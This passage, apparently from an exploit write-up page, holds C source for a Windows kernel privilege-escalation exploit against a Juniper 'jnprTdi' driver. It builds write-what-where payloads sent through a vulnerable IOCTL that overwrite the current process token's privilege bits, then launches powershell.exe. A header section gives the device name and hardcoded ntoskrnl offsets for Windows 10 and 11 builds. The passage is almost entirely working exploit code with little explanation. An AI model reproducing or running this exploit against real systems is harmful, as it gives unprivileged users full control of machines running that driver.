<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    BOOL res1 </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> SetProcessAffinityMask</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">        GetCurrentProcess</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(),</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        processAffinity</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    );</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    if</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (res1 </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">==</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 0</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) {</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">        PrintError</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">TEXT</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"SetProcessAffinityMask"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">));</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">        return</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    }</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    printf</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\n</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">[+] Doing TOKEN-&gt;_SEP_TOKEN_PRIVILEGES-&gt;Present</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\n</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">);</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    // TOKEN-&gt;_SEP_TOKEN_PRIVILEGES-&gt;Present</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    WRITE_WHAT_WHERE</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> payload1 </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (PWRITE_WHAT_WHERE)</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">HeapAlloc</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">        GetProcessHeap</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(),</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        HEAP_ZERO_MEMORY,</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">        sizeof</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(WRITE_WHAT_WHERE)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    );</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    if</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (payload1 </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">==</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> NULL</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) {</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">        PrintError</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">TEXT</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"[!][payload1] Could not allocate the HEAP.</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\n</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">));</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">        return</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    }</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B">    payload1</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">-&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">devicePath</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> devicePath;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B">    payload1</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">-&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">what</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> =</span><span style="--shiki-light:#D73A49;--shiki-dark:#E06C75"> 0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">0000001ff2ffffbc</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B">    payload1</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">-&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">where</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">uint64_t</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)token_ptr </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">+</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">uint64_t</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span><span style="--shiki-light:#D73A49;--shiki-dark:#E06C75">0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">48</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    write_mem</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(payload1);</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    printf</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\n</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">[+] Doing TOKEN-&gt;_SEP_TOKEN_PRIVILEGES-&gt;Enabled</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\n</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">);</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    // TOKEN-&gt;_SEP_TOKEN_PRIVILEGES-&gt;Enabled</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    // write_mem('q', token_ptr + 0x48, 0x0000001ff2ffffbc);</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    /*WRITE_WHAT_WHERE payload2 = {</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">        .devicePath = devicePath,</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">        .what = 0x0000001ff2ffffbc,</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">        .where = (uint64_t)token_ptr + (uint64_t)0x48,</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    };*/</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    WRITE_WHAT_WHERE</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> payload2 </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">=</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (PWRITE_WHAT_WHERE)</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">HeapAlloc</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">        GetProcessHeap</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(),</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        HEAP_ZERO_MEMORY,</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">        sizeof</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(WRITE_WHAT_WHERE)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    );</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    if</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (payload2 </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">==</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> NULL</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) {</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">        PrintError</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">TEXT</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"[!][payload1] Could not allocate the HEAP.</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\n</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">));</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">        return</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    }</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B">    payload2</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">-&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">devicePath</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> devicePath;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B">    payload2</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">-&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">what</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> =</span><span style="--shiki-light:#D73A49;--shiki-dark:#E06C75"> 0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">0000001ff2ffffbc</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E5C07B">    payload2</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">-&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">where</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">uint64_t</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)token_ptr </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">+</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">uint64_t</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span><span style="--shiki-light:#D73A49;--shiki-dark:#E06C75">0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">40</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    write_mem</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(payload2);</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    // Free pointer memory</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    if</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (allocated_ptr </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">!=</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> NULL</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) {</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">        VirtualFree</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">            allocated_ptr,</span><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">       // Base address of block</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">            0</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">                  // Bytes of committed pages</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">            MEM_RELEASE</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">        );</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    }</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">    // 4. Spawn your shell and test your privileges :</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    system</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"powershell.exe"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">);</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">}</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>The code contains some hardcoded values such as the offset of specific functions in <code>ntoskrnl.exe</code>.</p>
<div class="language-c line-numbers-mode" data-highlighter="shiki" data-ext="c" data-title="c" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">#pragma</span><span style="--shiki-light:#6F42C1;--shiki-dark:#D19A66"> once</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">#include</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> &lt;Windows.h&gt;</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">#include</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> &lt;stdio.h&gt;</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">#include</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> &lt;stdlib.h&gt;</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">#include</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> &lt;stdint.h&gt;</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">#include</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> &lt;winternl.h&gt;</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">#define</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> VULN_IOCTL</span><span style="--shiki-light:#D73A49;--shiki-dark:#E06C75">  0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">80002018</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">////////</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">/*</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic"> * jnprTdi_9115_15819 W10</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic"> */</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic"> // #define DEVICE_NAME_W L"jnprTdi_9115_15819"</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic"> // // KxWaitForSpinLockAndAcquire</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic"> // #define SPIN_OFFSET 0x300ea0</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic"> // // KxTryToAcquireSpinLock</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic"> // #define TRY_SPIN_OFFSET 0x361758</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic"> // // void write_char(byte param_1,byte **param_2,int *param_3)</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic"> // #define WRITE_CHAR_OFFSET 0x3d5878</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic"> ////////</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic"> /*</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">  * jnprTdi_9117_18209 W11</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">  */</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">#define</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> DEVICE_NAME_W</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> L</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"jnprTdi_9117_18209"</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">  // KxWaitForSpinLockAndAcquire </span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">#define</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> SPIN_OFFSET</span><span style="--shiki-light:#D73A49;--shiki-dark:#E06C75"> 0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">300e9e</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">// KxTryToAcquireSpinLock</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">#define</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> TRY_SPIN_OFFSET</span><span style="--shiki-light:#D73A49;--shiki-dark:#E06C75"> 0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">361757</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">// void write_char(byte param_1,byte **param_2,int *param_3)</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">#define</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> WRITE_CHAR_OFFSET</span><span style="--shiki-light:#D73A49;--shiki-dark:#E06C75"> 0x</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">3d93f8</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">////////</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">#define</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> MAX_THREADS</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 8</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">typedef</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> struct</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">{</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    LPCWSTR devicePath;</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    uint64_t</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> where;</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    uint64_t</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> what;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">} WRITE_WHAT_WHERE, </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> PWRITE_WHAT_WHERE;</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">typedef</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> struct</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">{</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    DWORD id;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    DWORD threadId;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">    HANDLE hdev;</span></span>
